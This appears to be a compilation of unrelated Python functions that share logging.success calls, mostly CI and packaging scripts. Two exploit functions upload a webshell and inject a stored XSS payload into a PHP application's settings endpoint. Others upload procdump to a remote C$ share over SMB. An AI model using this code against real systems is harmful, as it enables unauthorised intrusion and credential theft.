def get_local_documents(self): logging.success("Grabbing local documents") self.documents = [ os.path.join(self.working_directory, f) for f in os.listdir(self.working_directory) if f.split(".")[-1] in self.file_types ] return True
def main(): """ Main function for iterating over existing packs folder in content repo and creating json of all packs dependencies. The logic of pack dependency is identical to sdk find-dependencies command. """ install_logging('Calculate_Packs_Dependencies.log', include_process_name=True) option = option_handler() output_path = option.output_path id_set_path = option.id_set_path id_set = get_id_set(id_set_path) pack_dependencies_result = {} logging.info("Selecting packs for dependencies calculation") packs = select_packs_for_calculation() calculate_all_packs_dependencies(pack_dependencies_result, id_set, packs) logging.info( f"Number of created pack dependencies entries: {len(pack_dependencies_result.keys())}" ) # finished iteration over pack folders logging.success("Finished dependencies calculation") with open(output_path, 'w') as pack_dependencies_file: json.dump(pack_dependencies_result, pack_dependencies_file, indent=4) logging.success(f"Created packs dependencies file at: {output_path}")
def RunTranslate(translate_func: typing.Callable, run_with_tracing: bool = True): """Run `translate_func`, and communicate success or failure back to Daisy. Args: translate_func: Closure to execute run_with_tracing: When enabled, the closure will be executed with trace.Trace, resulting in executed lines being printed to stdout. """ exit_code = 0 try: if run_with_tracing: tracer = trace.Trace(ignoredirs=[sys.prefix, sys.exec_prefix], trace=1, count=0) tracer.runfunc(translate_func) else: translate_func() logging.success('Translation finished.') except Exception as e: exit_code = 1 logging.debug(traceback.format_exc()) logging.error('error: %s', str(e)) logging.shutdown() sys.exit(exit_code)
def delete(session, file_path, timeout=5): t = time.time() while True: try: session.smb_session.deleteFile("C$", file_path) logging.debug("File {}{} successfully deleted".format( "C$", file_path)) return True except BrokenPipeError: if time.time() - t > timeout: logging.warning( "File wasn't removed `{}{}`, connection lost".format( "C$", file_path), exc_info=True) return None logging.debug("Trying to reconnect ...") if session.login(): logging.success( "Reconnected after unexpected disconnection for proper cleanup" ) except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str( e) or "STATUS_NO_SUCH_FILE" in str(e): return True if time.time() - t > timeout: logging.warning("File wasn't removed `{}{}`".format( "C$", file_path), exc_info=True) return None logging.debug( "Unable to delete file `{}{}`. Retrying...".format( "C$", file_path)) time.sleep(0.5)
def download_and_extract_index(build_bucket: Bucket, extract_destination_path: str, build_bucket_base_path: str): """Downloads and extracts production and build indexes zip from cloud storage. Args: build_bucket (google.cloud.storage.bucket.Bucket): google storage bucket where build index.zip is stored. extract_destination_path (str): the full path of extract folder. build_bucket_base_path (str): the path in the build bucket of the index. Returns: str: extracted build index folder full path. Blob: google cloud storage object that represents prod index.zip blob. Blob: google cloud storage object that represents build index.zip blob. str: downloaded prod index generation. str: downloaded build index generation. """ build_index_storage_path = os.path.join(build_bucket_base_path, f"{GCPConfig.INDEX_NAME}.zip") download_build_index_path = os.path.join(extract_destination_path, f"{GCPConfig.INDEX_NAME}.zip") build_index_blob = build_bucket.blob(build_index_storage_path) build_index_folder_path = os.path.join(extract_destination_path, GCPConfig.INDEX_NAME) if not os.path.exists(extract_destination_path): os.mkdir(extract_destination_path) if not build_index_blob.exists(): logging.error( f"No build index was found in path: {build_index_storage_path}") sys.exit(1) build_index_blob.reload() build_index_generation = build_index_blob.generation build_index_blob.download_to_filename( download_build_index_path, if_generation_match=build_index_generation) if os.path.exists(download_build_index_path): with ZipFile(download_build_index_path, 'r') as index_zip: index_zip.extractall(extract_destination_path) if not os.path.exists(build_index_folder_path): logging.error( f"Failed creating build {GCPConfig.INDEX_NAME} folder with extracted data." ) sys.exit(1) os.remove(download_build_index_path) logging.success( f"Finished downloading and extracting build {GCPConfig.INDEX_NAME} file to " f"{extract_destination_path}") return build_index_folder_path, build_index_blob, build_index_generation else: logging.error( f"Failed to download build {GCPConfig.INDEX_NAME}.zip file from cloud storage." ) sys.exit(1)
def main(): image = utils.GetMetadataAttribute('image', raise_on_not_found=True) package = utils.GetMetadataAttribute('gcs_package_path', raise_on_not_found=True) package_name = package.split('/')[-1] mount_disk = get_mount_disk(image) logging.info('Mount device %s at /mnt', mount_disk) run(f'mount {mount_disk} /mnt') # The rpm utility requires /dev/random to initialize GnuTLS logging.info('Mount dev filesystem in chroot') run('mount -o bind /dev /mnt/dev') utils.DownloadFile(package, f'/mnt/tmp/{package_name}') distribution = get_distro_from_image(image) if distribution == 'debian': util = 'apt-get' elif distribution == 'enterprise_linux': util = 'yum' else: logging.error('Unknown Linux distribution.') return logging.info('Installing package %s', package_name) run(f'chroot /mnt {util} install -y /tmp/{package_name}') # Best effort to unmount prior to shutdown. run('sync', check=False) run('umount /mnt/dev', check=False) run('umount /mnt', check=False) logging.success('Package %s installed successfully', package_name)
def exploit(url: str, file: str, delay: int) -> None: if not os.path.exists(file): logging.error(f'webshell payload "{file}"" does not exist?') return logging.info( f'uploading webshell payload "{os.path.basename(file)}" to {url}/uploads ...' ) uploadTime = int(time.time()) r = requests.post( url + '/classes/SystemSettings.php', files={ 'img': (os.path.basename(file), open(file, 'rb')) }, # NOTE: can also use 'cover' field, but this is more inconspicuous params={'f': 'update_settings'}, verify=False) if not r.ok: logging.error('HTTP upload request failed') return logging.info( f'finding new payload file name on target (+/- {delay} seconds) ...') for i in range(uploadTime - delay, uploadTime + delay + 1): r = requests.get(url + f'/uploads/{str(i)}_{os.path.basename(file)}', allow_redirects=False) logging.debug( f'trying {url}/uploads/{str(i)}_{os.path.basename(file)} ...') # NOTE: website will send redirects for all files that do not exist if r.status_code != 302: logging.success( f'webshell payload found on target at {url}/uploads/{str(i)}_{os.path.basename(file)}' ) return logging.error('failed to find payload on target') logging.warning( 'maybe need a larger delay or uploads directory is not writable?') return
def analyse_documents(self): logging.success(f"Analysing {len(self.documents)} documents") counter = 0 for file_path in self.documents: logging.success(f"[{counter + 1}/{len(self.documents)}] {file_path}") extractor = Extractor(file_path).load() if extractor is None: logging.debug(f"Extractor for {file_path} does not exist") counter += 1 continue try: extractor.get_metadata() for key, values in extractor.get_results().items(): if key in self.results: for value in values: if value not in self.results[key]: self.results[key].append(value) else: self.results[key] = values except Exception as e: logging.warning(f"Error while parsing {file_path}", exc_info=True) counter += 1 continue counter += 1 return len(self.documents) == 0 or self.results
def copy_package(self, ssh): logging.header('Sending package to ' + ssh.hostname) ssh.copy_to(self._package, self._package) for line in ssh.output: logging.debug(line) exit_code = 0 if ssh.error: for line in ssh.error: logging.error(line) exit_code = 1 if ssh.returncode is None: pass elif ssh.returncode == 0: logging.debug('return code: 0') elif ssh.returncode > 0: logging.error('return code: ' + str(ssh.returncode)) exit_code = 1 if exit_code: logging.error('Sending package failed.') sys.exit(exit_code) logging.success('Sent.')
def exploit(url: str, file: str) -> None: if not os.path.exists(file): logging.error(f'{file} does not exist?') return logging.info(f'reading {file} for XSS content ...') with open(file, 'r') as f: xssPayload = f.read() logging.info( f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...' ) r = requests.post(url + '/classes/SystemSettings.php', data={'about_us': xssPayload}, params={'f': 'update_settings'}, verify=False) if not r.ok: logging.error('HTTP request failed') return logging.info('checking for XSS payload on main page ...') r = requests.get(url) if xssPayload not in r.text: logging.error(f'XSS injection failed? received: {r.text}') logging.warning('maybe about.html is not writable?') return logging.success('XSS payload found on target website') return
def execute_package(self, ssh): logging.header('Remotely executing package on ' + ssh.hostname) ssh.run_command(['python', self._package], sudo=self._sudo) if ssh.output: for line in ssh.output: logging.info(line) exit_code = 0 if ssh.error: for line in ssh.error: logging.error(line) exit_code = 1 if ssh.returncode is None: pass elif ssh.returncode == 0: logging.debug('return code: 0') elif ssh.returncode > 0: logging.error('return code: ' + str(ssh.returncode)) exit_code = 1 if exit_code: logging.error('Remotely executing package failed.') sys.exit(exit_code) logging.success('Remote package executed.')
def print_packs_summary(packs_list: list): """Prints summary of packs uploaded to gcs. Args: packs_list (list): list of initialized packs. """ successful_packs = [ pack for pack in packs_list if pack.status == PackStatus.SUCCESS.name ] skipped_packs = [ pack for pack in packs_list if pack.status == PackStatus.PACK_ALREADY_EXISTS.name or pack.status == PackStatus.PACK_IS_NOT_UPDATED_IN_RUNNING_BUILD.name or pack.status == PackStatus.FAILED_DETECTING_MODIFIED_FILES.name ] failed_packs = [ pack for pack in packs_list if pack not in successful_packs and pack not in skipped_packs ] logging.info(f"""\n ------------------------------------------ Packs Upload Summary ------------------------------------------ Total number of packs: {len(packs_list)} ----------------------------------------------------------------------------------------------------------""" ) if successful_packs: successful_packs_table = _build_summary_table(successful_packs) logging.success( f"Number of successful uploaded packs: {len(successful_packs)}") logging.success(f"Uploaded packs:\n{successful_packs_table}") with open('pack_list.txt', 'w') as f: f.write(successful_packs_table.get_string()) if skipped_packs: skipped_packs_table = _build_summary_table(skipped_packs) logging.warning(f"Number of skipped packs: {len(skipped_packs)}") logging.warning(f"Skipped packs:\n{skipped_packs_table}") if failed_packs: failed_packs_table = _build_summary_table(failed_packs, include_pack_status=True) logging.critical(f"Number of failed packs: {len(failed_packs)}") logging.critical(f"Failed packs:\n{failed_packs_table}") sys.exit(1) # for external pull requests - when there is no failed packs, add the build summary to the pull request branch_name = os.environ.get('CIRCLE_BRANCH') if branch_name and branch_name.startswith('pull/'): successful_packs_table = build_summary_table_md(successful_packs) build_num = os.environ['CIRCLE_BUILD_NUM'] bucket_path = f'https://console.cloud.google.com/storage/browser/' \ f'marketplace-ci-build/content/builds/{branch_name}/{build_num}' pr_comment = f'Number of successful uploaded packs: {len(successful_packs)}\n' \ f'Uploaded packs:\n{successful_packs_table}\n\n' \ f'Browse to the build bucket with this address:\n{bucket_path}' add_pr_comment(pr_comment)
def upload_core_packs_config(production_bucket: Bucket, build_number: str, extract_destination_path: str, build_bucket: Bucket): """Uploads corepacks.json file configuration to bucket. Corepacks file includes core packs for server installation. Args: production_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where core packs config is uploaded. build_number (str): CircleCI build number. extract_destination_path (str): Full path of folder to extract the corepacks file build_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where core packs config is downloaded from. """ # download the corepacks.json stored in the build bucket to temp dir build_corepacks_file_path = os.path.join(GCPConfig.BUILD_BASE_PATH, GCPConfig.CORE_PACK_FILE_NAME) build_corepacks_blob = build_bucket.blob(build_corepacks_file_path) if not build_corepacks_blob.exists(): logging.critical( f"{GCPConfig.CORE_PACK_FILE_NAME} is missing in {build_bucket.name} bucket, exiting..." ) sys.exit(1) temp_corepacks_file_path = os.path.join(extract_destination_path, GCPConfig.CORE_PACK_FILE_NAME) build_corepacks_blob.download_to_filename(temp_corepacks_file_path) corepacks_file = load_json(temp_corepacks_file_path) # change the storage paths to the prod bucket corepacks_list = corepacks_file.get('corePacks', []) try: corepacks_list = [ os.path.join(GCPConfig.GCS_PUBLIC_URL, production_bucket.name, GCPConfig.STORAGE_BASE_PATH, LATEST_ZIP_REGEX.findall(corepack_path)[0]) for corepack_path in corepacks_list ] except IndexError: corepacks_list_str = '\n'.join(corepacks_list) logging.exception( f"GCS paths in build bucket corepacks.json file are not of format: " f"{GCPConfig.GCS_PUBLIC_URL}/<BUCKET_NAME>/.../content/packs/...\n" f"List of build bucket corepacks paths:\n{corepacks_list_str}") sys.exit(1) # construct core pack data with public gcs urls core_packs_data = { 'corePacks': corepacks_list, 'buildNumber': build_number } # upload core pack json file to gcs prod_corepacks_file_path = os.path.join(GCPConfig.STORAGE_BASE_PATH, GCPConfig.CORE_PACK_FILE_NAME) prod_corepacks_blob = production_bucket.blob(prod_corepacks_file_path) prod_corepacks_blob.upload_from_string( json.dumps(core_packs_data, indent=4)) logging.success( f"Finished uploading {GCPConfig.CORE_PACK_FILE_NAME} to storage.")
def prepare(self, options): self.procdump = options.get("procdump", self.procdump) self.procdump_path = options.get("procdump_path", self.procdump_path) self.procdump_remote_share = options.get("procdump_remote_share", self.procdump_remote_share) self.procdump_remote_path = options.get("procdump_remote_path", self.procdump_remote_path) if not self.procdump_path: logging.error("Missing procdump_path") return None if not os.path.exists(self.procdump_path): logging.error("{} does not exist.".format(self.procdump_path)) return None # Upload procdump logging.debug('Copy {} to {}'.format(self.procdump_path, self.procdump_remote_path)) with open(self.procdump_path, 'rb') as p: try: self._session.smb_session.putFile( self.procdump_remote_share, self.procdump_remote_path + self.procdump, p.read) logging.success("Procdump successfully uploaded") self.procdump_uploaded = True return True except Exception as e: logging.error("Procdump upload error", exc_info=True) return None
def main(): install_logging("TriggerPrivateBuild.log") # get github token parameter arg_parser = argparse.ArgumentParser() arg_parser.add_argument('--github-token', help='Github token') args = arg_parser.parse_args() github_token = args.github_token # get branch name branches = tools.run_command("git branch") branch_name_regex = re.search(r"\* (.*)", branches) branch_name = branch_name_regex.group(1) if branch_has_private_build_infra_change(branch_name): # get the workflows ids before triggering the build pre_existing_workflow_ids = get_dispatch_workflows_ids(github_token, 'master') # trigger private build payload = {'event_type': f'Trigger private build from content/{branch_name}', 'client_payload': {'commit_sha1': branch_name, 'is_infra_build': 'True'}} res = requests.post(TRIGGER_BUILD_URL, headers={'Accept': 'application/vnd.github.everest-preview+json', 'Authorization': f'Bearer {github_token}'}, data=json.dumps(payload), verify=False) if res.status_code != 204: logging.critical(f'Failed to trigger private repo build, request to ' f'{TRIGGER_BUILD_URL} failed with error: {str(res.content)}') sys.exit(1) workflow_ids_diff = [] for i in range(GET_WORKFLOWS_MAX_RETRIES): # wait 5 seconds and get the workflow ids again time.sleep(5) workflow_ids_after_dispatch = get_dispatch_workflows_ids(github_token, 'master') # compare with the first workflows list to get the current id workflow_ids_diff = [x for x in workflow_ids_after_dispatch if x not in pre_existing_workflow_ids] if workflow_ids_diff: break if len(workflow_ids_diff) == 1: workflow_id = workflow_ids_diff[0] logging.success(f'Private repo build triggered successfully, workflow id: {workflow_id}\n URL:' f' {WORKFLOW_HTML_URL}/{workflow_id}') # write the workflow id to text file to use it in get_private_build_status.py with open(PRIVATE_REPO_WORKFLOW_ID_FILE, "w") as f: f.write(str(workflow_id)) sys.exit(0) else: logging.critical('Could not found the private repo workflow') sys.exit(1) else: logging.info('Build private repo skipped')
def upload_index_to_storage(index_folder_path: str, extract_destination_path: str, index_blob: Any, build_number: str, private_packs: list, current_commit_hash: str, index_generation: str, is_private: bool = False): """ Upload updated index zip to cloud storage. :param index_folder_path: index folder full path. :param extract_destination_path: extract folder full path. :param index_blob: google cloud storage object that represents index.zip blob. :param build_number: circleCI build number, used as an index revision. :param private_packs: List of private packs and their price. :param current_commit_hash: last commit hash of head. :param index_generation: downloaded index generation. :param is_private: Indicates if upload is private. :returns None. """ with open(os.path.join(index_folder_path, f"{GCPConfig.INDEX_NAME}.json"), "w+") as index_file: index = { 'revision': build_number, 'modified': datetime.utcnow().strftime(Metadata.DATE_FORMAT), 'packs': private_packs, 'commit': current_commit_hash } json.dump(index, index_file, indent=4) index_zip_name = os.path.basename(index_folder_path) index_zip_path = shutil.make_archive(base_name=index_folder_path, format="zip", root_dir=extract_destination_path, base_dir=index_zip_name) try: index_blob.reload() current_index_generation = index_blob.generation index_blob.cache_control = "no-cache,max-age=0" # disabling caching for index blob if is_private or current_index_generation == index_generation: index_blob.upload_from_filename(index_zip_path) logging.success( f"Finished uploading {GCPConfig.INDEX_NAME}.zip to storage.") else: logging.critical( f"Failed in uploading {GCPConfig.INDEX_NAME}, mismatch in index file generation" ) logging.critical( f"Downloaded index generation: {index_generation}") logging.critical( f"Current index generation: {current_index_generation}") sys.exit(0) except Exception: logging.exception(f"Failed in uploading {GCPConfig.INDEX_NAME}.") sys.exit(1) finally: shutil.rmtree(index_folder_path)
def main(): install_logging('Install_Packs.log') options = options_handler() # Get the host by the ami env hosts, _ = Build.get_servers(ami_env=options.ami_env) logging.info('Retrieving the credentials for Cortex XSOAR server') secret_conf_file = get_json_file(path=options.secret) username: str = secret_conf_file.get('username') password: str = secret_conf_file.get('userPassword') # Configure the Servers for host in hosts: server = Server(host=host, user_name=username, password=password) logging.info(f'Adding Marketplace configuration to {host}') error_msg: str = 'Failed to set marketplace configuration.' server.add_server_configuration(config_dict=MARKET_PLACE_CONFIGURATION, error_msg=error_msg) set_marketplace_url(servers=[server], branch_name=options.branch, ci_build_number=options.build_number) # Acquire the server's host and install all content packs (one threaded execution) logging.info(f'Starting to install all content packs in {host}') server_host: str = server.client.api_client.configuration.host install_all_content_packs(client=server.client, host=server_host) logging.success(f'Finished installing all content packs in {host}')
def copy_id_set(production_bucket: Bucket, build_bucket: Bucket): """ Copies the id_set.json artifact from the build bucket to the production bucket. Args: production_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where id_set is copied to. build_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where id_set is copied from. """ build_id_set_path = os.path.join( os.path.dirname(GCPConfig.BUILD_BASE_PATH), 'id_set.json') build_id_set_blob = build_bucket.blob(build_id_set_path) if not build_id_set_blob.exists(): logging.error( f"id_set.json file does not exists in build bucket in path: {build_id_set_path}" ) prod_id_set_path = os.path.join( os.path.dirname(GCPConfig.STORAGE_BASE_PATH), 'id_set.json') copied_blob = build_bucket.copy_blob(blob=build_id_set_blob, destination_bucket=production_bucket, new_name=prod_id_set_path) if not copied_blob.exists(): logging.error(f"Failed to upload id_set.json to {prod_id_set_path}") else: logging.success("Finished uploading id_set.json to storage.")
def install_packs(client: demisto_client, host: str, packs_to_install: list, request_timeout: int = 999999, is_nightly: bool = False): """ Make a packs installation request. Args: client (demisto_client): The configured client to use. host (str): The server URL. packs_to_install (list): A list of the packs to install. request_timeout (int): Timeout settings for the installation request. is_nightly (bool): Is the build nightly or not. """ if is_nightly: install_nightly_packs(client, host, packs_to_install) return request_data = {'packs': packs_to_install, 'ignoreWarnings': True} logging.info(f'Installing packs on server {host}') packs_to_install_str = ', '.join([pack['id'] for pack in packs_to_install]) logging.debug( f'Installing the following packs on server {host}:\n{packs_to_install_str}' ) # make the pack installation request try: response_data, status_code, _ = demisto_client.generic_request_func( client, path='/contentpacks/marketplace/install', method='POST', body=request_data, accept='application/json', _request_timeout=request_timeout) if 200 <= status_code < 300: packs_data = [{ 'ID': pack.get('id'), 'CurrentVersion': pack.get('currentVersion') } for pack in ast.literal_eval(response_data)] logging.success( f'Packs were successfully installed on server {host}') logging.debug( f'The following packs were successfully installed on server {host}:\n{packs_data}' ) else: result_object = ast.literal_eval(response_data) message = result_object.get('message', '') raise Exception( f'Failed to install packs - with status code {status_code}\n{message}' ) except Exception as e: logging.exception( f'The request to install packs has failed. Additional info: {str(e)}' ) global SUCCESS_FLAG SUCCESS_FLAG = False finally: return SUCCESS_FLAG
def RunTranslate(translate_func): try: tracer = trace.Trace( ignoredirs=[sys.prefix, sys.exec_prefix], trace=1, count=0) tracer.runfunc(translate_func) logging.success('Translation finished.') except Exception as e: logging.error('error: %s', str(e))
def output_results(self): for key, values in self.results.items(): if len(values) == 0 or all("" == v.strip() for v in values): continue print("") logging.success(logger.highlight(key.upper())) for value in list(set(values)): logging.success(value)
def main(): """ Main function for iterating over existing packs folder in content repo and creating json of all packs dependencies. The logic of pack dependency is identical to sdk find-dependencies command. """ install_logging('Calculate Packs Dependencies.log') option = option_handler() output_path = option.output_path id_set_path = option.id_set_path IGNORED_FILES.append( GCPConfig.BASE_PACK) # skip dependency calculation of Base pack # loading id set json with open(id_set_path, 'r') as id_set_file: id_set = json.load(id_set_file) pack_dependencies_result = {} logging.info("Starting dependencies calculation") # starting iteration over pack folders for pack in os.scandir(PACKS_FULL_PATH): if not pack.is_dir() or pack.name in IGNORED_FILES: logging.warning( f"Skipping dependency calculation of {pack.name} pack.") continue # skipping ignored packs logging.info(f"Calculating {pack.name} pack dependencies.") try: dependency_graph = PackDependencies.build_dependency_graph( pack_id=pack.name, id_set=id_set, verbose_file=VerboseFile(''), ) first_level_dependencies, all_level_dependencies = parse_for_pack_metadata( dependency_graph, pack.name) except Exception: logging.exception( f"Failed calculating {pack.name} pack dependencies") continue pack_dependencies_result[pack.name] = { "dependencies": first_level_dependencies, "displayedImages": list(first_level_dependencies.keys()), "allLevelDependencies": all_level_dependencies, "path": os.path.join(PACKS_FOLDER, pack.name), "fullPath": pack.path } logging.info( f"Number of created pack dependencies entries: {len(pack_dependencies_result.keys())}" ) # finished iteration over pack folders logging.success("Finished dependencies calculation") with open(output_path, 'w') as pack_dependencies_file: json.dump(pack_dependencies_result, pack_dependencies_file, indent=4) logging.success(f"Created packs dependencies file at: {output_path}")
def worker_done(self, worker_name, success): if success: logging.success("{} - Done rendering".format(worker_name)) else: logging.error("{} - Error while rendering".format(worker_name)) worker = self.workers.pop(worker_name, None) if worker: worker.setVisible(False) self.layout().removeWidget(worker)
def test_instances(secret_conf_path, server, username, password): integrations = get_integrations(secret_conf_path) instance_ids = [] failed_integrations = [] integrations_counter = 0 content_installation_client = demisto_client.configure(base_url=server, username=username, password=password, verify_ssl=False) install_new_content(content_installation_client, server) for integration in integrations: c = demisto_client.configure(base_url=server, username=username, password=password, verify_ssl=False) integrations_counter += 1 integration_name = integration.get('name') integration_instance_name = integration.get('instance_name', '') integration_params = integration.get('params') devops_comments = integration.get('devops_comments') product_description = integration.get('product_description', '') is_byoi = integration.get('byoi', True) has_integration = integration.get('has_integration', True) validate_test = integration.get('validate_test', True) if has_integration: instance_id, failure_message, _ = __create_integration_instance( server, username, password, integration_name, integration_instance_name, integration_params, is_byoi, validate_test=validate_test) if failure_message == 'No configuration': logging.warning( f"skipping {integration_name} as it exists in content-test-conf conf.json but not in content repo" ) continue if not instance_id: logging.error( f'Failed to create instance of {integration_name} with message: {failure_message}' ) failed_integrations.append( "{} {} - devops comments: {}".format( integration_name, product_description, devops_comments)) else: instance_ids.append(instance_id) logging.success( f'Create integration {integration_name} succeed') __delete_integrations_instances(c, instance_ids) return failed_integrations, integrations_counter
def run(self): ssh = Ssh(hostname=self._hostname, username=self._username) self.manage_public_keys(ssh) self.copy_package(ssh) self.execute_package(ssh) logging.success('Remote provisioned.')
def submit_dss_subscription(view, vertex_list, request_uuid): subscription_time_delta = 30 myDSSSubscriber = dss_rid_helper.RemoteIDOperations() subscription_created = myDSSSubscriber.create_dss_subscription( vertex_list=vertex_list, view_port=view, request_uuid=request_uuid, subscription_time_delta=subscription_time_delta) logging.success("Subscription creation status: %s" % subscription_created['created'])
def print_packs_summary(successful_packs: list, skipped_packs: list, failed_packs: list, fail_build: bool = True): """Prints summary of packs uploaded to gcs. Args: successful_packs (list): list of packs that were successfully uploaded. skipped_packs (list): list of packs that were skipped during upload. failed_packs (list): list of packs that were failed during upload. fail_build (bool): indicates whether to fail the build upon failing pack to upload or not """ logging.info(f"""\n ------------------------------------------ Packs Upload Summary ------------------------------------------ Total number of packs: {len(successful_packs + skipped_packs + failed_packs)} ----------------------------------------------------------------------------------------------------------""" ) if successful_packs: successful_packs_table = _build_summary_table(successful_packs) logging.success( f"Number of successful uploaded packs: {len(successful_packs)}") logging.success(f"Uploaded packs:\n{successful_packs_table}") with open('pack_list.txt', 'w') as f: f.write(successful_packs_table.get_string()) if skipped_packs: skipped_packs_table = _build_summary_table(skipped_packs, include_pack_status=True) logging.warning(f"Number of skipped packs: {len(skipped_packs)}") logging.warning(f"Skipped packs:\n{skipped_packs_table}") if failed_packs: failed_packs_table = _build_summary_table(failed_packs, include_pack_status=True) logging.critical(f"Number of failed packs: {len(failed_packs)}") logging.critical(f"Failed packs:\n{failed_packs_table}") if fail_build: # We don't want the bucket upload flow to fail in Prepare Content step if a pack has failed to upload. sys.exit(1) # for external pull requests - when there is no failed packs, add the build summary to the pull request branch_name = os.environ.get('CIRCLE_BRANCH') if branch_name and branch_name.startswith('pull/'): successful_packs_table = build_summary_table_md(successful_packs) build_num = os.environ['CIRCLE_BUILD_NUM'] bucket_path = f'https://console.cloud.google.com/storage/browser/' \ f'marketplace-ci-build/content/builds/{branch_name}/{build_num}' pr_comment = f'Number of successful uploaded packs: {len(successful_packs)}\n' \ f'Uploaded packs:\n{successful_packs_table}\n\n' \ f'Browse to the build bucket with this address:\n{bucket_path}' add_pr_comment(pr_comment)
def copy_index(index_folder_path: str, build_index_blob: Blob, build_index_generation: str, production_bucket: Bucket, build_bucket: Bucket): """ Copies the build bucket index to the production bucket index path. Args: index_folder_path (str): index folder full path. build_index_blob (Blob): google cloud storage object that represents build index.zip blob. build_index_generation (str): downloaded build index generation. production_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where index is copied to. build_bucket (google.cloud.storage.bucket.Bucket): gcs bucket where index is copied from. """ try: build_index_blob.reload() build_current_index_generation = build_index_blob.generation # disabling caching for prod index blob prod_index_storage_path = os.path.join(GCPConfig.STORAGE_BASE_PATH, f"{GCPConfig.INDEX_NAME}.zip") prod_index_blob = production_bucket.blob(prod_index_storage_path) prod_index_blob.cache_control = "no-cache,max-age=0" if build_current_index_generation == build_index_generation: copied_index = build_bucket.copy_blob( blob=build_index_blob, destination_bucket=production_bucket, new_name=prod_index_storage_path) if copied_index.exists(): logging.success( f"Finished uploading {GCPConfig.INDEX_NAME}.zip to storage." ) else: logging.error( "Failed copying index from, build index blob does not exists." ) sys.exit(1) else: logging.error( f"Failed in uploading {GCPConfig.INDEX_NAME}, mismatch in index file generation" ) logging.error( f"Downloaded build index generation: {build_index_generation}") logging.error( f"Current build index generation: {build_current_index_generation}" ) sys.exit(1) except Exception as e: logging.exception( f"Failed copying {GCPConfig.INDEX_NAME}. Additional Info: {str(e)}" ) sys.exit(1) finally: shutil.rmtree(index_folder_path)
def run_test_logic(tests_settings: Any, c: Any, failed_playbooks: list, integrations: list, playbook_id: str, succeed_playbooks: list, test_message: str, test_options: dict, slack: Any, circle_ci: str, build_number: str, server_url: str, demisto_user: str, demisto_pass: str, build_name: str) -> bool: """ run_test_logic handles the testing of the integration by triggering check_integration. afterwards it will check the status of the test and report success or add the failed test to the list of failed integrations. :param tests_settings: SettingsTester object which contains the test variables :param c: Client for connecting to XSOAR via demisto-py :param failed_playbooks: List of failed playbooks, additional failed playbooks will be added if they failed. :param integrations: List of integrations being tested. :param playbook_id: ID of the test playbook being tested. :param succeed_playbooks: List of playbooks which have passed tests. :param test_message: Name of the playbook/integration being tested. This is reported back in the build and used to print in the console the test being ran. :param test_options: Options being passed to the test. PID, Docker Threshold, Timeout, etc. :param slack: Slack client used for notifications. :param circle_ci: CircleCI token. Used to get name of dev who triggered the build. :param build_number: The build number of the CI run. Used in slack message. :param server_url: The FQDN of the server tests are being ran on. :param demisto_user: Username of the demisto user running the tests. :param demisto_pass: Password of the demisto user running the tests. :param build_name: Name of the build. (Nightly, etc.) :return: Boolean indicating if the test was successful. """ status, inc_id = check_integration(c, server_url, demisto_user, demisto_pass, integrations, playbook_id, options=test_options) if status == PB_Status.COMPLETED: logging.success(f'PASS: {test_message} succeed') succeed_playbooks.append(playbook_id) elif status == PB_Status.NOT_SUPPORTED_VERSION: logging.info(f'PASS: {test_message} skipped - not supported version') succeed_playbooks.append(playbook_id) else: logging.error(f'Failed: {test_message} failed') playbook_id_with_mock = playbook_id playbook_id_with_mock += " (Mock Disabled)" failed_playbooks.append(playbook_id_with_mock) succeed = status in (PB_Status.COMPLETED, PB_Status.NOT_SUPPORTED_VERSION) return succeed
def main(): install_logging('Update Tests step.log', include_process_name=True) existing_test_playbooks = load_test_data_from_conf_json() with ProcessPool(max_workers=os.cpu_count(), max_tasks=100) as pool: for pack_name in os.listdir(PACKS_DIR): future_object = pool.schedule(generate_pack_tests_configuration, args=(pack_name, existing_test_playbooks), timeout=20) future_object.add_done_callback(update_new_conf_json) add_to_conf_json(NEW_CONF_JSON_OBJECT) logging.success(f'Added {len(NEW_CONF_JSON_OBJECT)} tests to the conf.json') logging.success(f'Added the following objects to the conf.json:\n{pformat(NEW_CONF_JSON_OBJECT)}')
def executeTestScenario(self): timeoutthread.TimeoutThread(self._timeoutInterval, self._testTimedOut) logging.info( "Test timer armed. Timeout in %(seconds)d seconds", dict(seconds=self._timeoutInterval)) self._setUp() try: self._run() finally: self._tearDown() logging.success( "Test completed successfully, in '%(filename)s', with %(asserts)d successfull asserts", dict(filename=self._filename(), asserts=suite.successfulTSAssertCount())) print ".:1: Test passed"
def _run(self): logging.progress("Running test in '%(filename)s'", dict(filename=self._filename())) try: self._test.run() suite.anamnesis['testSucceeded'] = True logging.success( "Test completed successfully, in '%(filename)s', with %(asserts)d successfull asserts", dict(filename=self._filename(), asserts=suite.successfulTSAssertCount())) print ".:1: Test passed" except: suite.anamnesis['testFailed'] = True logging.exception("Test failed, in '%(filename)s'", dict(filename=self._filename())) suite.outputExceptionStackTrace() raise
ax.set_ylabel(r'$J\; [\, \frac{1}{\rm{s}}\, ]$',fontsize=18) ax.set_xlim(0.5, MAX_CPU + 0.5) ax.set_xticks(flows.keys()) plt.title("# Simulations %d"%len(flows[ncpu])) #------------------ plot times ax2 = plt.subplot(212) ax2.plot(timedic.keys(), MT, "o-", lw=2, label='Mean', color='blue') ax2.errorbar(timedic.keys(), MT, yerr=ST, fmt='-o') ax2.set_xlabel(r'# cores',fontsize=18) ax2.set_ylabel(r'$T\; [ s ]$',fontsize=18) ax2.set_xticks(timedic.keys()) ax2.set_xlim(0.5, MAX_CPU + 0.5) ax2.set_ylim( min( MT ) - max(ST)-0.1 , max( MT ) + max(ST) +0.1) #ax.legend(loc='best') ax2.grid() plt.tight_layout() logging.info("save file in cpu.png") plt.savefig("cpu.png") #plt.show() ######################################################################### tolerance = 0.5# todo: this is to large 0.5 logging.info("time elapsed %.2f [s]."%(time2-time1)) logging.info("std_all = %.2f, tol=%.2f"%(std_all, tolerance)) if std_all > tolerance: logging.success("%s exits with FAILURE std_all = %f > %f"%(argv[0], std_all, tolerance)) exit(FAILURE) else: logging.info("%s exits with SUCCESS std_all = %f < %f"%(argv[0], std_all, tolerance)) exit(SUCCESS)
